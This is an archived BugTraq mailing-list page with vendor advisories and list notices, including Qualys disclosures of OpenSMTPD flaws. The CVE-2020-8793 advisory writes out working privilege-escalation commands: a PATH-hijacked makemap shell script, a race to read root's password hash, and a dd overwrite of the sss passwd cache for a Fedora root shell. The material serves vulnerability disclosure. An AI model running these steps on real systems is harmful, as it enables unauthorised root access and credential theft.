bugtraq.securityfocus.com Open in urlscan Pro
2600:9000:20eb:8200:e:2397:9200:93a1  Public Scan

Submitted URL: http://www.securityfocus.com/bid/104773'
Effective URL: https://bugtraq.securityfocus.com/bid/104773'
Submission: On August 24 via api from US — Scanned from DE

Form analysis 1 forms found in the DOM

<form _ngcontent-qws-c54="" novalidate="" ng-reflect-form="[object Object]" class="ng-untouched ng-pristine ng-invalid">
  <div _ngcontent-qws-c54="" id="search-form" class="form"><input _ngcontent-qws-c54="" type="text" formcontrolname="searchString" required="" ng-reflect-name="searchString" ng-reflect-required="required" class="ng-untouched ng-pristine ng-invalid">
  </div>
</form>

Text Content

FAQs


BUGTRAQ

BUGTRAQ IS A FULL DISCLOSURE MAILING LIST FOR THE DETAILED DISCUSSION AND
ANNOUNCEMENT OF COMPUTER SECURITY VULNERABILITIES. BUGTRAQ SERVES AS THE
CORNERSTONE OF THE INTERNET-WIDE SECURITY COMMUNITY.

SUBSCRIBE

Join the mailing list to stay up to date on all BugTraq messages and updates.

Subscribe
Expand AllCollapse All


 * ON SECOND THOUGHT...
   
   SATURDAY, JANUARY 16, 2021 08:25 PM | ALIAS SECURITYFOCUS COM 0 REPLIES
   
   
   
   Bugtraq has been a valuable institution within the Cyber Security community
   for
   almost 30 years. Many of our own people entered the industry by subscribing
   to it
   and learning from it. So, based on the feedback we’ve received both from the
   community-at-large and internally, we’ve decided to keep the Bugtraq list
   running.
   We’ll be working in the coming weeks to ensure that it can remain a valuable
   asset
   to the community for years to come. - Accenture Security
   
   
   
   Read More


 * RE: BUGTRAQ SHUTDOWN
   
   SATURDAY, JANUARY 16, 2021 04:02 AM | TOMMYPICKLE GMAIL COM 0 REPLIES
   
   
   
   All old school hackers from UPT remember and want to show respect. Thanks for
   everything.
   
   From invalid, merc, MR (rest in peace) and the rest of us crusty old geeks.
   
   
   
   Read More


 * RE: [SECURITY] [DSA 4628-1] PHP7.0 SECURITY UPDATE
   
   FRIDAY, JANUARY 15, 2021 10:40 PM | TIMESPORTSALL GMAIL COM 0 REPLIES
   
   
   
   [SECURITY] [DSA 4628-1] php7.0 security update Feb 18 2020 10:00PM
   Moritz Muehlenhoff (jmm debian org)
   -----BEGIN PGP SIGNED MESSAGE-----
   Hash: SHA512
   
   - ------------------------------------------------------------------------
   -
   Debian Security Advisory DSA-4628-1 security (at) debian (dot) org [email
   concealed]
   https://www.debian.org/security/ Moritz Muehlenhoff
   February 18, 2020 https://www.debian.org/security/faq
   - ------------------------------------------------------------------------
   -
   
   Package : php7.0
   CVE ID : CVE-2019-11045 CVE-2019-11046 CVE-2019-11047
   CVE-2019-11050 CVE-2020-7059 CVE-2020-7060
   
   Multiple security issues were found in PHP, a widely-used open source
   general purpose scripting language which could result in information
   disclosure, denial of service or incorrect validation of path names.
   
   For the oldstable distribution (stretch), these problems have been fixed
   in version 7.0.33-0+deb9u7.
   
   We recommend that you upgrade your php7.0 packages.
   
   For the detailed security status of php7.0 please refer to
   its security tracker page at:
   https://security-tracker.debian.org/tracker/php7.0
   
   Further information about Debian Security Advisories, how to apply
   these updates to your system and frequently asked questions can be
   found at: https://www.debian.org/security/
   
   Mailing list: debian-security-announce (at) lists.debian (dot) org [email
   concealed]
   -----BEGIN PGP SIGNATURE-----
   
   iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAl5MXdMACgkQEMKTtsN8
   TjZgpg//S+jV8BhWi7ZmirmBqTtcTfhg1oXftWjTOn1oupT8zBOBUMNO65Z1A3qN
   Vt+S1FS4jCKISzeFFerBt1Hh+VCdDdkq0wjF0zVj5VqG/uMvYzNAGFE+dRC3q3Qw
   Brd4bObmPPVp/Q0RW14Dt1EuzzCvJFOegpBlFP9KuNQV27JxJTYD2y4X3peR0e53
   SOznrHNxJySEx7KDrW1eq268dmteZU+y7uiPJc0sakg74XMaAWfyd30ADoC0ecOY
   77Rr/Wfbc2PQVihMSBwTFdnVtskguPDdg3beIaoGAsB9CA5BrFQZvAPyN+0l9sMk
   KZDILqImnXZYMeqGU+MG5GDC2Mmcmbn3zNOqWNqbuCUmSGof4YaLkvfmGIsspzGN
   CNWCER+d3wPht3BFu8u7yYFiWyA9xg0cCylXOLddzrEgNJHMM8d8OwtvVzlRwfgI
   lmOStdP2FX/bIIOD1zntKzNfsmDRA3lBt2C1R3I93aV0/nHbg2BlmIONTiOMClSw
   btyV59+LFOSKGkMaqhLrYjwyiwAnNDdtQ0PeNa3utQ+9AT9+pzxGatujqp6AQEYE
   ojFNn23K3isFW9x2Tzmsc8IbNr9BF7DSjZi0zFz1jaZLxxdCFfc8DTe464Z2ABcZ
   Nw8pCc+3IBDA4bicTWd7ltW8RpvBeIyiiZ/COfx6Yo0TcbAJoXM=
   =t/g2
   -----END PGP SIGNATURE-----
   
   
   
   Read More


 * BUGTRAQ SHUTDOWN
   
   FRIDAY, JANUARY 15, 2021 02:08 PM | ALIAS SECURITYFOCUS COM 0 REPLIES
   
   
   
   2020 was quite the year, one that saw many changes. As we begin 2021, we
   wanted
   to send one last note to our friends and supporters at the SecurityFocus
   BugTraq
   mailing list. As many of you know, assets of Symantec were acquired by
   Broadcom
   in late 2019, and some of those assets were then acquired by Accenture in
   2020
   (https://newsroom.accenture.com/news/accenture-completes-acquisition-of-broadco
   ms-symantec-cyber-security- services-business.htm). SecurityFocus assets were
   included in this transition, and the mailing list has not been updated since
   the
   work to transition to Accenture began.
   
   The SecurityFocus assets, including the BugTraq mailing list, has a long
   history
   of providing timely information on the latest vulnerabilities, security
   vendor
   announcements, and exploit information. We are forever grateful to those who
   created, maintained, and contributed to the archive - many of us have
   connected
   and learned from each other through these lists. The history of the list and
   the
   sharing of the information has contributed to ensuring that we are building
   the
   information security community to be something stronger. Community
   contribution
   is one of the foundations to building a stronger Information Security force.
   
   At this time, resources for the BugTraq mailing list have not been
   prioritized,
   and this will be the last message to the list. The archive will be shut down
   January 31st, 2021.
   
   For similar information, please refer to some of the following links:
   https://www.defcon.org/html/links/mailing-lists.html
   https://seclists.org/fulldisclosure/
   
   This is where the appropriate geek-like reference and farewell comes in,
   something like “So long, and thanks for all the fish”, but that seems too
   cavalier for
   this. So thank you, for your support, wisdom, and willingness to share –
   whether
   you are a contributor, reader, or lurker on the list. All of you have made a
   difference. Be well, and keep up the good work!
   
   
   
   Read More


 * CISCO UNIFIED CONTACT CENTER EXPRESS PRIVILEGE ESCALATION VULNERABILITY
   (CVE-2019-1888)
   
   TUESDAY, FEBRUARY 25, 2020 03:00 AM | JAMIE BLACKTRAFFIC CO UK 0 REPLIES
   
   
   
   I've quoted the Cisco summary below as it's pretty accurate.
   
   tl;dr is an admin user on the web console can gain command execution
   and then escalate to root. If this is an issue in your environment,
   then please patch.
   
   Thanks to Cisco PSIRT who were responsive and professional.
   
   Shouts to Andrew, Dave and Senad, Pedro R - if that's still even a
   thing on advisories.
   
   Ref:
   https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-uccx-privesc-Zd7bvwyf
   
   "Summary
   
   A vulnerability in the Administration Web Interface of Cisco Unified
   Contact Center Express (Unified CCX) could allow an authenticated,
   remote attacker to upload arbitrary files and execute commands on the
   underlying operating system. To exploit this vulnerability, an
   attacker needs valid Administrator credentials.
   
   The vulnerability is due to insufficient restrictions for the content
   uploaded to an affected system. An attacker could exploit this
   vulnerability by uploading arbitrary files containing operating system
   commands that will be executed by an affected system. A successful
   exploit could allow the attacker to execute arbitrary commands with
   the privileges of the web interface and then elevate their privileges
   to root."
   
   cheers,
   Jamie
   
   
   
   Read More


 * [SECURITY] [DSA 4633-1] CURL SECURITY UPDATE
   
   MONDAY, FEBRUARY 24, 2020 02:45 PM | GHEDO DEBIAN ORG 0 REPLIES
   
   
   
   -----BEGIN PGP SIGNED MESSAGE-----
   Hash: SHA512
   
   - -------------------------------------------------------------------------
   Debian Security Advisory DSA-4633-1 security debian org
   https://www.debian.org/security/ Alessandro Ghedini
   February 22, 2020 https://www.debian.org/security/faq
   - -------------------------------------------------------------------------
   
   Package : curl
   CVE ID : CVE-2019-5436 CVE-2019-5481 CVE-2019-5482
   Debian Bug : 929351 940009 940010
   
   Multiple vulnerabilities were discovered in cURL, an URL transfer
   library.
   
   CVE-2019-5436
   
   A heap buffer overflow in the TFTP receiving code was discovered,
   which could allow DoS or arbitrary code execution. This only affects
   the oldstable distribution (stretch).
   
   CVE-2019-5481
   
   Thomas Vegas discovered a double-free in the FTP-KRB code, triggered
   by a malicious server sending a very large data block.
   
   CVE-2019-5482
   
   Thomas Vegas discovered a heap buffer overflow that could be
   triggered when a small non-default TFTP blocksize is used.
   
   For the oldstable distribution (stretch), these problems have been fixed
   in version 7.52.1-5+deb9u10.
   
   For the stable distribution (buster), these problems have been fixed in
   version 7.64.0-4+deb10u1.
   
   We recommend that you upgrade your curl packages.
   
   For the detailed security status of curl please refer to
   its security tracker page at:
   https://security-tracker.debian.org/tracker/curl
   
   Further information about Debian Security Advisories, how to apply
   these updates to your system and frequently asked questions can be
   found at: https://www.debian.org/security/
   
   Mailing list: debian-security-announce lists debian org
   -----BEGIN PGP SIGNATURE-----
   
   iQIzBAEBCgAdFiEEBsId305pBx+F583DbwzL4CFiRygFAl5UJtgACgkQbwzL4CFi
   RyiozQ//TWmlmQt7fsskJtczrkjToirTdbgmzBeRI6PL2HXEZYY7WtdQzXDHqTb5
   eQwrIrKsSrS30QneeeGHPEABhfUBCIQRiXocd5enAdQbqPchTIVl92YrZhHZqjbU
   aP0q02QZrhn6nidzA+c3sU7ClW0YERVXOuVZAhQDnw0y1Iai5yVuQvIOhDYIEOdU
   G86svqzr4UAMdZPFP0N1avyHmonNB1/UC//l/g2s7q2ki7NOBCMfg2QV5+/6Ip0F
   tR8mgpukO7l+M0Jhb3SeCaGaRvbHDlkFIyGXKbDyffs14ceRykm/fhxB2bc8dSK7
   KLGjRLXJyHKCCoWzafHk13aNGu0jVqaRrCcyezhI8fnr9V/enDbnzLeEWGGL8H3e
   qVTyY+ykypinWeIRv+5VQtgrAhEJ6ZCiGCmbRyhwP0s8Yu5MlOJeS1L4GnBUbYuH
   ZhB/DWtqFlh/Rgjs6XWr/CwzxFAps+wbKjY8l8/C18308J0bKq1sx4XWSEmXrMMj
   KbdVNKEjvA3n8HTa4CC+CgVA7723ysCERbKnTLKTu8rgPA9QDMyyxNpenVeB24DW
   G9rrnokVK0c56EeDlAOCB3gSA4XoDt3k+xP4vfaBcyzGj/mkEsOeAT6+lzqPbO30
   KqjBEQgVzb5nvKpPhJF8f71DXegfFvDL2ti5G4wkfRME4ytM6Wg=
   =QC2b
   -----END PGP SIGNATURE-----
   
   
   
   Read More


 * LPE AND RCE IN OPENSMTPD'S DEFAULT INSTALL (CVE-2020-8794)
   
   MONDAY, FEBRUARY 24, 2020 01:48 PM | QSA QUALYS COM 0 REPLIES
   
   
   
   Qualys Security Advisory
   
   LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)
   
   ==============================================================================
   Contents
   ==============================================================================
   
   Summary
   Analysis
   ...
   Acknowledgments
   
   ==============================================================================
   Summary
   ==============================================================================
   
   We discovered a vulnerability in OpenSMTPD, OpenBSD's mail server. This
   vulnerability, an out-of-bounds read introduced in December 2015 (commit
   80c6a60c, "when peer outputs a multi-line response ..."), is exploitable
   remotely and leads to the execution of arbitrary shell commands: either
   as root, after May 2018 (commit a8e22235, "switch smtpd to new
   grammar"); or as any non-root user, before May 2018.
   
   Because this vulnerability resides in OpenSMTPD's client-side code
   (which delivers mail to remote SMTP servers), we must consider two
   different scenarios:
   
   - Client-side exploitation: This vulnerability is remotely exploitable
   in OpenSMTPD's (and hence OpenBSD's) default configuration. Although
   OpenSMTPD listens on localhost only, by default, it does accept mail
   from local users and delivers it to remote servers. If such a remote
   server is controlled by an attacker (either because it is malicious or
   compromised, or because of a man-in-the-middle, DNS, or BGP attack --
   SMTP is not TLS-encrypted by default), then the attacker can execute
   arbitrary shell commands on the vulnerable OpenSMTPD installation.
   
   - Server-side exploitation: First, the attacker must connect to the
   OpenSMTPD server (which accepts external mail) and send a mail that
   creates a bounce. Next, when OpenSMTPD connects back to their mail
   server to deliver this bounce, the attacker can exploit OpenSMTPD's
   client-side vulnerability. Last, for their shell commands to be
   executed, the attacker must (to the best of our knowledge) crash
   OpenSMTPD and wait until it is restarted (either manually by an
   administrator, or automatically by a system update or reboot).
   
   We developed a simple exploit for this vulnerability and successfully
   tested it against OpenBSD 6.6 (the current release), OpenBSD 5.9 (the
   first vulnerable release), Debian 10 (stable), Debian 11 (testing), and
   Fedora 31. At OpenBSD's request, and to give OpenSMTPD's users a chance
   to patch their systems, we are withholding the exploitation details and
   code until Wednesday, February 26, 2020.
   
   Last-minute note: we tested our exploit against the recent changes in
   OpenSMTPD 6.6.3p1, and our results are: if the "mbox" method is used for
   local delivery (the default in OpenBSD -current), then arbitrary command
   execution as root is still possible; otherwise (if the "maildir" method
   is used, for example), arbitrary command execution as any non-root user
   is possible.
   
   ==============================================================================
   Analysis
   ==============================================================================
   
   SMTP clients connect to SMTP servers and send commands such as EHLO,
   MAIL FROM, and RCPT TO. SMTP servers respond with either single-line or
   multiple-line replies:
   
   - the first lines begin with a three-digit code and a hyphen ('-'),
   followed by an optional text (for example, "250-ENHANCEDSTATUSCODES");
   
   - the last line begins with the same three-digit code, followed by an
   optional space (' ') and text (for example, "250 HELP").
   
   In OpenSMTPD's client-side code, these multiline replies are parsed by
   the mta_io() function:
   
   ------------------------------------------------------------------------------
   1098 static void
   1099 mta_io(struct io *io, int evt, void *arg)
   1100 {
   ....
   1133 case IO_DATAIN:
   1134 nextline:
   1135 line = io_getline(s->io, &len);
   ....
   1146 if ((error = parse_smtp_response(line, len, &msg, &cont))) {
   ------------------------------------------------------------------------------
   
   - the first lines (when line[3] == '-') are concatenated into a 2KB
   replybuf:
   
   ------------------------------------------------------------------------------
   1177 if (cont) {
   1178 if (s->replybuf[0] == '')
   1179 (void)strlcat(s->replybuf, line, sizeof s->replybuf);
   1180 else {
   1181 line = line + 4;
   ....
   1187 (void)strlcat(s->replybuf, line, sizeof s->replybuf);
   1188 }
   1189 goto nextline;
   1190 }
   ------------------------------------------------------------------------------
   
   - the last line (when line[3] != '-') is also concatenated into
   replybuf:
   
   ------------------------------------------------------------------------------
   1195 if (s->replybuf[0] != '') {
   1196 p = line + 4;
   ....
   1201 if (strlcat(s->replybuf, p, sizeof s->replybuf) >= sizeof s->replybuf)
   ------------------------------------------------------------------------------
   
   Unfortunately, if the last line's three-digit code is not followed by
   the optional space and text, then p (at line 1196) points to the first
   character *after* the line's '' terminator (which replaced the line's
   ' ' terminator in iobuf_getline()), and this out-of-bounds string is
   concatenated into replybuf (at line 1201).
   
   ...
   
   ==============================================================================
   Acknowledgments
   ==============================================================================
   
   We thank OpenBSD's developers for their quick response and patches. We
   also thank Gilles for his hard work and beautiful code.
   
   [https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>
   
   This message may contain confidential and privileged information. If it has
   been sent to you in error, please reply to advise the sender of the error and
   then immediately delete it. If you are not the intended recipient, do not
   read, copy, disclose or otherwise use this message. The sender disclaims any
   liability for such unauthorized use. NOTE that all incoming emails sent to
   Qualys email accounts will be archived and may be scanned by us and/or by
   external service providers to detect and prevent threats to our systems,
   investigate illegal or inappropriate behavior, and/or eliminate unsolicited
   promotional emails (“spam”). If you have any concerns about this process,
   please contact us.
   
   
   
   Read More


 * LOCAL INFORMATION DISCLOSURE IN OPENSMTPD (CVE-2020-8793)
   
   MONDAY, FEBRUARY 24, 2020 01:35 PM | QSA QUALYS COM 0 REPLIES
   
   
   
   Qualys Security Advisory
   
   Local information disclosure in OpenSMTPD (CVE-2020-8793)
   
   ==============================================================================
   Contents
   ==============================================================================
   
   Summary
   Analysis
   Exploitation
   POKE 47196, 201
   Acknowledgments
   
   ==============================================================================
   Summary
   ==============================================================================
   
   We discovered a minor vulnerability in OpenSMTPD, OpenBSD's mail server:
   an unprivileged local attacker can read the first line of an arbitrary
   file (for example, root's password hash in /etc/master.passwd) or the
   entire contents of another user's file (if this file and
   /var/spool/smtpd/ are on the same filesystem).
   
   We developed a proof of concept and successfully tested it against
   OpenBSD 6.6 (the current release). This vulnerability is generally not
   exploitable on Linux, because /proc/sys/fs/protected_hardlinks is 1 by
   default on most distributions. Surprisingly, however, it is exploitable
   on Fedora (31) and yields full root privileges.
   
   ==============================================================================
   Analysis
   ==============================================================================
   
   In October 2015 we published the results of an exhaustive OpenSMTPD
   audit (https://www.qualys.com/2015/10/02/opensmtpd-audit-report.txt);
   one of our key findings was:
   
   ------------------------------------------------------------------------------
   Multiple hardlink attacks in the offline directory
   ...
   
   In the world-writable "/var/spool/smtpd/offline" directory, local users
   can create hardlinks to files they do not own, and wait until the server
   reboots (or, crash OpenSMTPD with a denial-of-service and wait until the
   administrator restarts it) to carry out assorted attacks.
   ...
   
   2/ The following code in offline_enqueue() allows an attacker to
   execvp() "/usr/sbin/smtpctl" as "sendmail", with a command-line argument
   that is the hardlinked file's first line (CVE-2015-ABCD):
   ...
   
   For example, an attacker can hardlink /etc/master.passwd to the offline
   directory, and retrieve its first line (root's encrypted password) by
   running ps (or a small program that simply calls sysctl() with
   KERN_FILE_BYUID and KERN_PROC_ARGV) in a loop:
   ...
   
   4/ If an attacker is able to reach another user's file (i.e., +x on all
   directories that lead to the file) but not read it, he can hardlink the
   file to the offline directory, and wait for savedeadletter() to create a
   world-readable copy of the file in this other user's home directory:
   ------------------------------------------------------------------------------
   
   OpenBSD's patch for this vulnerability was threefold:
   
   a/ They removed the world-writable and sticky bits from
   /var/spool/smtpd/offline, changed its group to "_smtpq", and made
   /usr/sbin/smtpctl set-group-ID _smtpq:
   
   ------------------------------------------------------------------------------
   drwxrwx--- 2 root _smtpq 512 Oct 12 10:34 /var/spool/smtpd/offline
   -r-xr-sr-x 1 root _smtpq 217736 Oct 12 10:34 /usr/sbin/smtpctl
   ------------------------------------------------------------------------------
   
   b/ They added an _smtpq group check to offline_scan():
   
   ------------------------------------------------------------------------------
   1543 /* offline file group must match parent directory group */
   1544 if (e->fts_statp->st_gid != e->fts_parent->fts_statp->st_gid)
   1545 continue;
   ....
   1553 if (offline_add(e->fts_name)) {
   1554 log_warnx("warn: smtpd: "
   1555 "could not add offline message %s", e->fts_name);
   1556 continue;
   1557 }
   ------------------------------------------------------------------------------
   
   This check (at line 1544) effectively prevents offline_scan() from
   adding the filename of a hardlink to the offline queue (at line 1553),
   because no interesting file on the filesystem belongs to the group
   _smtpq.
   
   c/ They added a hardlink check to offline_enqueue() (at line 1631),
   which is called by offline_add():
   
   ------------------------------------------------------------------------------
   1615 if ((fd = open(path, O_RDONLY|O_NOFOLLOW|O_NONBLOCK)) == -1) {
   1616 log_warn("warn: smtpd: open: %s", path);
   1617 _exit(1);
   1618 }
   1619
   1620 if (fstat(fd, &sb) == -1) {
   1621 log_warn("warn: smtpd: fstat: %s", path);
   1622 _exit(1);
   1623 }
   ....
   1631 if (sb.st_nlink != 1) {
   1632 log_warnx("warn: smtpd: file %s is hard-link", path);
   1633 _exit(1);
   1634 }
   ------------------------------------------------------------------------------
   
   Unfortunately, a/ is vulnerable to a Local Privilege Escalation (into
   the group _smtpq), and b/ and c/ are vulnerable to TOCTOU (time-of-check
   to time-of-use) race conditions. As a result, a local attacker can still
   carry out the hardlink attacks 2/ (master.passwd) and 4/ (dead.letter)
   described in our 2015 audit report.
   
   ==============================================================================
   Exploitation
   ==============================================================================
   
   a/ If we execute /usr/sbin/smtpctl as "sendmail" or "send-mail", and
   specify a "-bi" command-line argument, then smtpctl calls execlp()
   without dropping its privileges:
   
   ------------------------------------------------------------------------------
   147 /* sendmail-compat makemap ... re-execute using proper interface */
   148 if (argc == 2) {
   ...
   164 execlp("makemap", "makemap", "-d", argv[0], "-o", dbname, "-",
   165 (char *)NULL);
   166 err(1, "execlp");
   167 }
   ------------------------------------------------------------------------------
   
   We can exploit this execlp() call by specifying our own PATH environment
   variable, and obtain the privileges of the group _smtpq:
   
   ------------------------------------------------------------------------------
   $ id
   uid=1001(john) gid=1001(john) groups=1001(john)
   
   $ ln -s /usr/sbin/smtpctl "send-mail"
   
   $ cat > makemap << "EOF"
   #!/bin/ksh
   echo "$@"
   exec /usr/bin/env -i /bin/ksh
   EOF
   
   $ chmod 0755 makemap
   
   $ env -i PATH=. ./send-mail -- -bi dbname
   -d -bi -o dbname.db -
   
   $ id
   uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)
   ------------------------------------------------------------------------------
   
   b/ The _smtpq group check is made only once in offline_scan(), but not
   again in offline_enqueue() (which actually open()s the offline files).
   Moreover, at most five offline files are processed concurrently; the
   remaining files are simply added to the offline queue for later
   processing. We can reliably win this first race condition:
   
   - we create several large but sparse files (1GB each) in the offline
   directory (these files naturally pass the _smtpq group check);
   
   - we SIGSTOP five of the offline_enqueue() processes that open() and
   slowly read() our large files;
   
   - we wait until offline_scan() adds all of our remaining files to the
   offline queue;
   
   - we replace these files with hardlinks to an interesting target file
   (for example, /etc/master.passwd);
   
   - we SIGKILL the five stopped offline_enqueue() processes.
   
   Finally, our hardlinks are processed by offline_enqueue(), and the
   _smtpq group check is defeated.
   
   c/ To defeat the hardlink check in offline_enqueue(), we create our
   hardlink before the open() call at line 1615 (this increases st_nlink to
   2), and delete it before the fstat() call at line 1620 (this decreases
   st_nlink back to 1). In practice, we win this tight race condition after
   just a few tries: our proof of concept fork()s a dedicated process that
   simply calls link() and unlink() in a loop.
   
   Moreover, if our target file is /etc/master.passwd, we can defeat the
   hardlink check without a race: we hardlink /etc/master.passwd into the
   offline directory (this increases st_nlink to 2), we run /usr/bin/passwd
   or /usr/bin/chpass to generate a new /etc/master.passwd (this decreases
   st_nlink back to 1), and finally we SIGKILL the five stopped
   offline_enqueue() processes.
   
   ------------------------------------------------------------------------------
   
   For example, to read the first line of /etc/master.passwd (root's
   password hash) with our proof of concept:
   
   - First, on the attacker's terminal:
   
   $ id
   uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)
   
   $ ./proof-of-concept 20
   ...
   ready
   
   - Next, on the administrator's terminal:
   
   # rcctl restart smtpd
   smtpd(ok)
   smtpd(ok)
   
   - Last, on the attacker's terminal:
   
   ...
   root:$2b$10$xufPzZW36O2h2QmasLsjve8RyRQm0gu3mVX6IHE2nAYYD0Iw0gAnO:0:0:daemon:0:0:Charlie
   &:/root:/bin/ksh
   
   ------------------------------------------------------------------------------
   
   To read the entire contents of another user's file (for example,
   /home/admin/deep.secret) with our proof of concept:
   
   - First, on the attacker's terminal:
   
   $ id
   uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)
   
   $ ls -l /home/admin/deep.secret
   ---------- 1 admin admin 125 Feb 15 00:52 /home/admin/deep.secret
   
   $ cat /home/admin/deep.secret
   cat: /home/admin/deep.secret: Permission denied
   
   $ ./proof-of-concept 100 /home/admin/deep.secret
   ...
   ready
   
   - Next, on the administrator's terminal:
   
   # rcctl restart smtpd
   smtpd(ok)
   smtpd(ok)
   
   - Last, on the attacker's terminal:
   
   ...
   This is the contents of the deep.secret file. Only root may see this file.
   -rw-r--r-- 1 admin admin 132 Feb 15 01:21 /home/admin/dead.letter
   
   $ cat /home/admin/dead.letter
   From: admin <admin obsd66 my domain>
   Date: Sat, 15 Feb 2020 01:21:03 -0700 (MST)
   
   secret 2
   secret 3
   end of secret file deep.secret
   
   ==============================================================================
   POKE 47196, 201
   ==============================================================================
   
   On Linux, this vulnerability is generally not exploitable because
   /proc/sys/fs/protected_hardlinks prevents attackers from creating
   hardlinks to files they do not own. On Fedora 31, however, smtpctl is
   set-group-ID root, not set-group-ID smtpq:
   
   ------------------------------------------------------------------------------
   -r-xr-sr-x. 1 root root 303368 Jul 26 2019 /usr/sbin/smtpctl
   ------------------------------------------------------------------------------
   
   Surprisingly, we were able to exploit this mistake and obtain full root
   privileges:
   
   - First, we exploited the Local Privilege Escalation in smtpctl to
   obtain the privileges of the group root:
   
   ------------------------------------------------------------------------------
   $ id
   uid=1001(john) gid=1001(john) groups=1001(john) context=...
   
   $ ln -s /usr/sbin/smtpctl "send-mail"
   
   $ cat > makemap << "EOF"
   #!/bin/bash -p
   echo "$@"
   exec /usr/bin/env -i /bin/bash -p
   EOF
   
   $ chmod 0755 makemap
   
   $ env -i PATH=. ./send-mail -- -bi dbname
   -d -bi -o dbname.db -
   
   $ id
   uid=1001(john) gid=1001(john) egid=0(root) groups=0(root),1001(john)
   context=...
   ------------------------------------------------------------------------------
   
   - Next, we searched for files that belong to the group root, are
   group-writable, but not world-writable:
   
   ------------------------------------------------------------------------------
   $ find / -group root -perm -020 '!' -perm -02 -ls
   ...
   4811008 0 drwxrwxr-x 2 root root 51 Feb 15 17:49 /var/lib/sss/mc
   4811064 8212 -rw-rw-r-- 1 root root 8406312 Feb 15 18:58
   /var/lib/sss/mc/passwd
   4810978 6260 -rw-rw-r-- 1 root root 6406312 Feb 15 18:58
   /var/lib/sss/mc/group
   ...
   ------------------------------------------------------------------------------
   
   - Intrigued ("sss" stands for "System Security Services"), we dumped the
   contents of /var/lib/sss/mc/passwd:
   
   ------------------------------------------------------------------------------
   $ hexdump -C /var/lib/sss/mc/passwd
   ...
   00000060 10 00 00 00 e9 03 00 00 e9 03 00 00 1d 00 00 00 |................|
   00000070 6a 6f 68 6e 00 78 00 00 2f 68 6f 6d 65 2f 6a 6f |john.x../home/jo|
   00000080 68 6e 00 2f 62 69 6e 2f 62 61 73 68 00 ff ff ff |hn./bin/bash....|
   ...
   ------------------------------------------------------------------------------
   
   - Feeling adventurous, we overwrote "e9 03 00 00" (1001, our user-ID)
   with zeros (root's user-ID):
   
   ------------------------------------------------------------------------------
   $ dd if=/dev/zero of=/var/lib/sss/mc/passwd bs=1 seek=$((0x64)) count=4
   conv=notrunc
   4+0 records in
   4+0 records out
   ------------------------------------------------------------------------------
   
   - Last, we executed su to re-authenticate as ourselves (as user john),
   but obtained a root shell instead:
   
   ------------------------------------------------------------------------------
   $ su -l john
   Password:
   
   # id
   uid=0(root) gid=1001(john) groups=1001(john) context=...
   ------------------------------------------------------------------------------
   
   Last-minute note: on February 9, 2020, opensmtpd-6.6.2p1-1.fc31 was
   released and correctly made smtpctl set-group-ID smtpq, instead of
   set-group-ID root.
   
   ==============================================================================
   Acknowledgments
   ==============================================================================
   
   We thank OpenBSD's developers, Todd Miller in particular, for their
   quick response and patches. We also thank Solar Designer and MITRE's CVE
   Assignment Team.
   
   [https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>
   
   This message may contain confidential and privileged information. If it has
   been sent to you in error, please reply to advise the sender of the error and
   then immediately delete it. If you are not the intended recipient, do not
   read, copy, disclose or otherwise use this message. The sender disclaims any
   liability for such unauthorized use. NOTE that all incoming emails sent to
   Qualys email accounts will be archived and may be scanned by us and/or by
   external service providers to detect and prevent threats to our systems,
   investigate illegal or inappropriate behavior, and/or eliminate unsolicited
   promotional emails (“spam”). If you have any concerns about this process,
   please contact us.
   
   
   
   Read More


 * DEFENSE IN DEPTH -- THE MICROSOFT WAY (PART 62): WINDOWS SHIPPED WITH
   END-OF-LIFE COMPONENTS
   
   MONDAY, FEBRUARY 24, 2020 12:05 PM | STEFAN.KANTHAK NEXGO DE 0 REPLIES
   
   
   
   Hi @ll,
   
   since Microsoft Server 2003 R2, Microsoft dares to ship and install the
   abomination known as .NET Framework with every new version of Windows.
   
   Among other components current versions of Windows and .NET Framework
   include
   
   C# compiler (C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe,
   C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe)
   J# compiler (C:WindowsMicrosoft.NETFrameworkv2.0.50727jsc.exe,
   C:WindowsMicrosoft.NETFramework64v2.0.50727jsc.exe)
   VB# compiler (C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe,
   C:WindowsMicrosoft.NETFramework64v2.0.50727vbc.exe)
   resource converter (C:WindowsMicrosoft.NETFrameworkv2.0.50727cvtres.exe,
   C:WindowsMicrosoft.NETFramework64v2.0.50727cvtres.exe)
   IL assembler (C:WindowsMicrosoft.NETFrameworkv2.0.50727ilasm.exe,
   C:WindowsMicrosoft.NETFramework64v2.0.50727ilasm.exe)
   assembly linker (C:WindowsMicrosoft.NETFrameworkv2.0.50727al.exe)
   
   Microsoft builds (not just) these programs with Visual C 2005, an
   UNSUPPORTED product that reached its end-of-life on 2016-04-12: see
   <https://support.microsoft.com/en-us/lifecycle/search?alpha=Visual%20C%202005>
   
   Of course these programs are linked to the equally UNSUPPORTED Visual C
   2005 runtime that also reached its end-of-life 2016-04-12, which
   Microsoft but nevertheless still dares to ship as side-by-side component:
   
   Windows 10 1909
   
   C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9659_none_88dfc6bf2faefcc6MSVCR80.dll
   C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9659_none_88dfc6bf2faefcc6MSVCR80.dll
   
   Windows 7 SP1, with Microsoft Security Essentials installed
   
   C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6msvcm80.dll
   C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6msvcp80.dll
   C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6msvcr80.dll
